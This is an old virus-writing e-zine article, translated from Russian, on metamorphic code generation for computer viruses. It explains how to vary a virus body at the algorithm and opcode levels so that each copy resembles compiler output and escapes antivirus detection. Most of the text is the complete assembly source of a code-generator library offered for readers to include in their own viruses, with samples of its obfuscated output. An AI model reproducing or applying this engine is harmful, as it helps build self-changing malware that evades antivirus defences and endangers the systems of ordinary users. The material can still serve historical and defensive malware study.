METAMORPHISM ~~~~~~~~~~~~ part 1 xlated from russian for MATRiX #2 E-Zine (x) 2000 Z0MBiE [*] PREFACE Metamorphism: generation of the new polymorphic virus copy. Here will be described some ideas about polymorphic code generation. So, our task is to generate code of the following properties: - performing some specified actions - polymorphic - similar to code generated by the HLL compilers - different to code used in the known viruses Two generated (metamorphic) virus bodies may differ: - on the algorithm-level - on the opcode-level [*] What is algorithm-level? All the generated (metamorphic) body consists of interchangeable algorithmic parts, in other words of blocks performing single tasks, such as file operations, ring0-entering, residency, handlers, infecting subroutines, etc., and each of these blocks may have some variants. I.e. on this level generated body consists of kinda subroutines and each of them is randomly selected (from the predefined set) while generation. [*] What is opcode-level? This just means that each pseudo-language element (which is base of the algorithmic-level) may be converted (compiled) into different set of opcodes; then these opcodes may be changed and/or mixed. [*] Example Task: calculate f(x) = 10 * sin(2 * x) ------------------------ algorithm-level -----------------------> | | f(x) = 10*sin(2*x) f(x) = sin(x)*cos(x)*20 | | variant 1 variant 2 | | t = x t = x opcode- t = t * 2 a = sin(t) -level t = sin(t) b = cos(t) | t = t * 10 t = a * b | t = t * 20 | | variant 3 variant 4 | | t = 2 * x b = cos(x) | a = sin(t) t = 20 * b | t = 10 * a a = sin(x) | t = t * a  [*] Algorithm generation It is clear, that we can not change code on the algorithm-level, so all the variants of some action must be predefined. The more variants of the same actions u use, the more your virus will fuck av asses. Lets imagine virus consisting of blocks A and B, and each of them has two variants: A1/A2 and B1/B2. So, we have 4 different viruses: A1B1, A1B2, A2B1 and A2B2. For example A1=residensy, A2=current directory scanning, B1=COM infection and B2=EXE infection. And each of A1/A2/... subblocks may be changed in the same way, and so on. [*] Code generation This is the main objective of this article. May be said that metamorphic code generator is kinda virus constructor which works automatically and produces not source but code. So, we have one variant of the algorithm which is represented using variables. Farther, all operations between these variables will be realized using registers. This allows us: - to use fixed set of opcodes, which is easy and similar to HLL-code; - to use lots of garbage ('coz there will be no globally used registers) - to write badly disassemling code So, on the level of variables the following macros may be used: (cmd = mov/cmd/add/sub/xor) cmd v, c cmd v1, [v2] cmd [v1], v2 cmd v1, v2 These variable-level macros are expanded into register-level: cmd v, c mov r, c cmd v, r cmd v1, [v2] mov r2, v2 ... cmd r1, [r2] mov v1, r1 cmd [v1], v2 mov r1, v1 mov r2, v2 cmd [r1], r2 cmd v1, v2 mov r1, v1 mov r1, v1 mov r2, v2 mov r2, v2 cmd r1, v2 cmd v1, r2 cmd r1, r2 mov v1, r1 mov v1, r1 cmd r, v mov r1, offset v cmd r, v cmd r, [r1] mov v, r mov r1, offset v cmd v, r cmd [r1], r mov r, c ... At the end of this text, there are CODE GENERATOR library which allows you to generate code which will work with variables on the register-level. Lets our task be to calculate: c = a xor b, where a,b and c are memory-variables. Then CODEGEN library allows you just to do: lea edi, outbuf push c_mov push offset c push offset a call cmd_v_v ; mov c, a push c_xor push offset c push offset b call cmd_v_v ; xor c, b Or, using macros, write: lea edi, outbuf call3 cmd_v_v, c_mov, , ; c = a call3 cmd_v_v, c_xor, , ; c ^= b After that, the following code will be generated: variant 1 variant 2 push 0C84B53DEh mov eax,[1000400Ch] pop ebx mov [10004014h],eax add ebx, 47B4EC2Eh push d,[10004010h] mov ecx, [ebx] pop ecx mov ebx, ecx mov edx,0C8417FA7h push 78F2C937h add edx,47BEC06Dh pop eax xor [edx],ecx sub eax, 68F28923h mov [eax], ebx push 0CC8FF745h pop eax add eax, 437048CBh push dword ptr [eax] pop edx push edx pop ebx push 0AE0577D4h pop esi xor esi, 0BC5A5A6Dh sub esi, 75F6D972h sub esi, 78BBFB1Bh xor esi, 0C9CC8138h sub esi, 993B95D9h sub esi, 81A3404Eh add esi, 407E3E27h xor [esi], ebx You may also include the following subroutine into your source: endcmd: mov al, 90h ; nop stosb ret This subroutine will be called after each new opcode is stored into output buffer. It it easy to understand that it may be replaced with garbage generator or simply with RET. Here is an example of the 'c = a xor b' generator with usage of ETG garbage generator: include codegen.equ callW GetTickCount ; randomize xor randseed, eax mov regfree, 11001111b ; edi/esi/ebx/edx/ecx/eax lea edi, buf call3 cmd_v_v, c_mov, , ; c = a call3 cmd_v_v, c_xor, , ; c ^= b mov al, 0C3h ; ret stosb call near ptr buf ; call generated code mov eax, a ; check if (c == a ^ b) xor eax, b cmp eax, c jne $ ; hangup if error ... endcmd: push offset my_random; external subroutine: rnd push edi ; ptr to output buffer push 1024 ; max size of buffer push 3 ; max number of commands push offset etgsize ; ptr to generated bufsize push regfree ; REG_xxx (dest) push REG_ALL ; REG_xxx (src) push ETG_ALL-ETG_SEG ; ETG_xxx (cmd) call etg_engine add edi, etgsize retn randseed dd ? regfree dd ? etgsize dd ? include etg.inc include codegen.inc And here is the code generated: mov ebx,01000400C mov ecx,eax mov edx,0F148D821 neg dl push ebx repne mov edx,0180ED75A lea ecx,[0D00B2AA0] pop edi inc cl repe mov edx,049B628C3 mov esi,[edi] inc eax rol edx,1 sub al,0B0 push esi xadd ecx,edx repne test ch,030 pop d,[010004014] sub dl,008 rcl cl,037 btr ebx,-060 push d,[010004014] xadd dl,dh bts ebx,ebx cmp esi,ebx pop eax sar ch,cl bt ecx,03A ??? bh,1 xor eax,[010004010] movsx ebx,bx adc ecx,ebx adc ebx,089A0A315 push eax inc ebx neg bh bsf esi,eax pop d,[010004014] mov bh,025 test dh,ch bswap ebx Thats all! * * * ====[begin CODEGEN.EQU]====================================================== c_mov equ 8Bh c_add equ 03h ; c0 c_sub equ 2Bh ; e8 c_xor equ 33h ; f0 c_cmp equ 3Bh ; f8 esp4 equ <[esp+4]> esp8 equ <[esp+8]> esp12 equ <[esp+12]> b0 equ b4 equ d0 equ d4 equ d8 equ d12 equ call1 macro p, x1 push x1 call p endm call2 macro p, x1, x2 push x1 push x2 call p endm call3 macro p, x1, x2, x3 push x1 push x2 push x3 call p endm ====[end CODEGEN.EQU]======================================================== ====[begin CODEGEN.INC]====================================================== ; --------------------------------------------------------------------------- ; CODE GENERATOR version 1.60 (x) 2000 Z0MBiE ; --------------------------------------------------------------------------- ;FUNCTION INPUT OUTPUT USES ;cmd_v_c: stack:cmd,v,c edi ;cmd_v_v: stack:cmd,v1,v2 edi ;cmd_v_memv: stack:cmd,v1,v2 edi ;cmd_memv_v: stack:cmd,v1,v2 edi ;cmd_r_r: stack:cmd,r1,r2 edi ;mov_r_offsv: stack:r,v edi ;cmd_r_c: stack:cmd,r,c edi ;cmd_r_memr: stack:cmd,r1,r2 edi ;cmd_memr_r: stack:cmd,r1,r2 edi ;cmd_r_v: stack:cmd,r,v edi ;cmd_v_r: stack:cmd,v,r edi ;rnd: stack:range zf, eax ;rnd2: zf, eax ;rnd3: zf, eax ;reg_alloc: eax=r ;reg_free: stack:r ;reg_xchg: stack:r stack:r ;r1_alloc: r1 ;r2_alloc: r2 ;r1_free: ;r2_free: ;r1_xchg: r1 ;r2_xchg: r2 ; --------------------------------------------------------------------------- metaerror: int 3 int 3 int 3 ; --------------------------------------------------------------------------- ;endcmd: <-- called after each instruction. YOU must define it ; --------------------------------------------------------------------------- USE_OWN_RND equ ? IFDEF USE_OWN_RND my_random: mov eax, randseed imul eax, 214013 add eax, 2531011 mov randseed, eax shr eax, 16 imul eax, esp4 shr eax, 16 retn ENDIF rnd2: call1 my_random, 2 lea esp, [esp+4] retn rnd3: call1 my_random, 3 lea esp, [esp+4] retn ; --------------------------------------------------------------------------- reg_alloc: cmp regfree, 0 jz metaerror __cycle: call1 my_random, 8 add esp, 4 btr regfree, eax jnc __cycle retn reg_free: mov eax, esp4 bts regfree, eax jc metaerror retn 4 reg_xchg: cmp regfree, 0 je __exit call rnd3 jnz __exit call reg_alloc push ecx xchg ecx, eax call3 cmd_r_r, c_mov, ecx, esp4.d12 call1 reg_free, esp4.d4 mov esp4.d4, ecx pop ecx __exit: retn ; --------------------------------------------------------------------------- r1 = ebx r2 = esi r1_alloc: call reg_alloc xchg r1, eax retn r2_alloc: call reg_alloc xchg r2, eax retn r1_free: push r1 call reg_free retn r2_free: push r2 call reg_free retn r1_xchg: push r1 call reg_xchg pop r1 retn r2_xchg: push r2 call reg_xchg pop r2 retn ; --------------------------------------------------------------------------- cmd_r_r: mov al, esp12 ; cmd r, r cmp al, c_mov je __mov __r00: call rnd2 jz __b __a: mov al, esp12 stosb mov al, esp8 shl al, 3 or al, esp4 or al, 0C0h stosb call endcmd retn 12 __b: mov al, esp12 xor al, 2 stosb mov al, esp4 shl al, 3 or al, esp8 or al, 0C0h stosb call endcmd retn 12 __mov: call rnd2 jz __r00 __r01: mov al, 50h ; push r1 or al, esp4 stosb call endcmd mov al, 58h ; pop r2 or al, esp8 stosb call endcmd retn 12 ; --------------------------------------------------------------------------- ; LEA may be used here mov_r_offsv: call3 cmd_r_c, c_mov, esp8.d4, esp4.d8 retn 8 ; --------------------------------------------------------------------------- cmd_r_c: mov al, esp12 cmp al, c_mov je __mov_r_c __notmov: mov al, 81h stosb mov al, esp12 cmp al, c_xor mov ah, 0F0h je __stosb cmp al, c_add mov ah, 0C0h je __stosb cmp al, c_sub mov ah, 0E8h je __stosb cmp al, c_cmp mov ah, 0F8h je __stosb __stosb: mov al, ah or al, esp8 stosb mov eax, esp4 stosd call endcmd retn 12 __mov_r_c: call1 my_random, 5 pop ecx jz __mov ; 0 dec eax jz __mov_add ; 1 dec eax jz __mov_sub ; 2 dec eax jz __mov_xor ; 3 ; 4 __pushpop: mov al, 68h ; push c stosb mov eax, esp4 stosd call endcmd mov al, 58h ; pop r or al, esp8 stosb call endcmd retn 12 __mov: mov al, 0B8h ; mov r, c or al, esp8 stosb mov eax, esp4 stosd call endcmd retn 12 __mov_add: mov eax, esp4 sub eax, randseed push randseed call3 cmd_r_c, c_mov, esp8.d4+4, eax pop eax call3 cmd_r_c, c_add, esp8.d4, eax retn 12 __mov_sub: mov eax, esp4 add eax, randseed push randseed call3 cmd_r_c, c_mov, esp8.d4+4, eax pop eax call3 cmd_r_c, c_sub, esp8.d4, eax retn 12 __mov_xor: mov eax, esp4 xor eax, randseed push randseed call3 cmd_r_c, c_mov, esp8.d4+4, eax pop eax call3 cmd_r_c, c_xor, esp8.d4, eax retn 12 ; --------------------------------------------------------------------------- cmd_r_memr: mov al, esp12 ; cmd x1, [x2] cmp al, c_mov je __mov __r01: mov al, esp12 stosb mov al, esp8 shl al, 3 or al, esp4 stosb call endcmd retn 12 __mov: call rnd2 jz __r01 __r00: mov al, 0FFh ; push [x2] stosb mov al, 30h or al, esp4 stosb call endcmd mov al, 58h ; pop x1 or al, esp8 stosb call endcmd retn 12 ; --------------------------------------------------------------------------- cmd_memr_r: mov al, esp12 ; cmd [x1], x2 cmp al, c_mov je __mov __r01: mov al, esp12 xor al, 2 stosb mov al, esp4 shl al, 3 or al, esp8 stosb call endcmd retn 12 __mov: call rnd2 jz __r01 mov al, 50h ; push x2 or al, esp4 stosb call endcmd mov al, 8Fh ; pop [x1] stosb xor al, al or al, esp8 stosb call endcmd retn 12 ; --------------------------------------------------------------------------- cmd_r_v: call rnd2 jz __r01 __r00: mov al, esp12 ; cmd r, [v] cmp al, c_mov je __mov __r0000: mov al, esp12 stosb mov eax, esp8 shl al, 3 or al, 5 stosb mov eax, esp4 stosd call endcmd retn 12 __mov: call rnd2 jz __r0000 __r0001: mov ax, 35FFh ; push [v] stosw mov eax, esp4 stosd call endcmd mov al, 58h ; pop r or al, esp8 stosb call endcmd retn 12 __r01: push r1 call r1_alloc call2 mov_r_offsv, r1, esp4.d8; mov r1, offset v call r1_xchg call3 cmd_r_memr, esp12.d4, esp8.d8, r1 ; cmd r, [r1] call r1_free pop r1 retn 12 ; --------------------------------------------------------------------------- cmd_v_r: call rnd2 jz __r01 __r00: mov al, esp12 ; cmd [v], r cmp al, c_mov je __mov __r0000: mov al, esp12 xor al, 2 stosb mov eax, esp4 shl al, 3 or al, 5 stosb mov eax, esp8 stosd call endcmd retn 12 __mov: call rnd2 jz __r0000 __r0001: mov al, 50h ; push r or al, esp4 stosb call endcmd mov ax, 058Fh ; pop [v] stosw mov eax, esp8 stosd call endcmd retn 12 __r01: push r1 call r1_alloc call2 mov_r_offsv, r1, esp8.d8; mov r1, offset v call r1_xchg call3 cmd_memr_r, esp12.d4, r1, esp4.d12 ; cmd [r1], r call r1_free pop r1 retn 12 ; --------------------------------------------------------------------------- cmd_v_c: call rnd2 jz __r01 __r00: mov al, esp12 ; cmd [v], c cmp al, c_mov jne __1 mov ax, 05C7h stosw jmp __2 __1: mov al, 81h stosb mov al, esp12 add al, 2 stosb __2: mov eax, esp8 stosd mov eax, esp4 stosd call endcmd retn 12 __r01: push r1 call r1_alloc call3 cmd_r_c, c_mov, r1, esp4.d12 ; mov r, c call r1_xchg call3 cmd_v_r, esp12.d4, esp8.d8, r1 ; cmd v, r call r1_free pop r1 retn 12 ; --------------------------------------------------------------------------- cmd_v_v: call rnd3 jz __r01 dec eax jz __r02 __r00: push r2 call1 alloc_r2_v, esp4.d4 ; mov r2, v2 call3 cmd_v_r, esp12.d4, esp8.d8, r2 ; cmd v1, r2 call r2_free pop r2 retn 12 __r02: push r1 r2 call2 alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1] call1 alloc_r2_v, esp4.d8 ; mov r2, v2 call3 cmd_r_r, esp12.d0+8, r1, r2 ; cmd r1, r2 call r2_free jmp cmd_v_v_l1 __r01: push r1 r2 call2 alloc_r1_v_cmp, esp8.d0+8, esp12.d4+8 ; [mov r1, v1] call3 cmd_r_v, esp12.d0+8, r1, esp4.d8+8; cmd r1,v2 cmd_v_v_l1: cmp esp12.b0+8, c_cmp je __skip call r1_xchg call3 cmd_v_r, c_mov, esp8.d4+8, r1 ; mov v1,r1 __skip: call r1_free pop r2 r1 retn 12 ; --------------------------------------------------------------------------- cmd_v_memv: push r1 r2 call2 alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1] call1 alloc_r2_v, esp4.d8 ; mov r2, v2 call3 cmd_r_memr, esp12.d0+8, r1, r2; cmd r1, [r2] call r2_free jmp cmd_v_v_l1 ; --------------------------------------------------------------------------- cmd_memv_v: push r1 r2 call1 alloc_r1_v, esp8.d8 ; mov r1, v1 call1 alloc_r2_v, esp4.d8 ; mov r2, v2 call3 cmd_memr_r, esp12.d0+8, r1, r2; cmd [r1], r2 call r1_free call r2_free pop r2 r1 retn 12 ; --------------------------------------------------------------------------- alloc_r1_v_cmp: call r1_alloc cmp esp4.b0, c_mov je __skip call3 cmd_r_v, c_mov, r1, esp8.d8; mov r1, v call r1_xchg __skip: retn 8 alloc_r1_v: call r1_alloc call3 cmd_r_v, c_mov, r1, esp4.d8; mov r1, v call r1_xchg retn 4 alloc_r2_v: call r2_alloc call3 cmd_r_v, c_mov, r2, esp4.d8; mov r2, v call r2_xchg retn 4 ====[end CODEGEN.INC]========================================================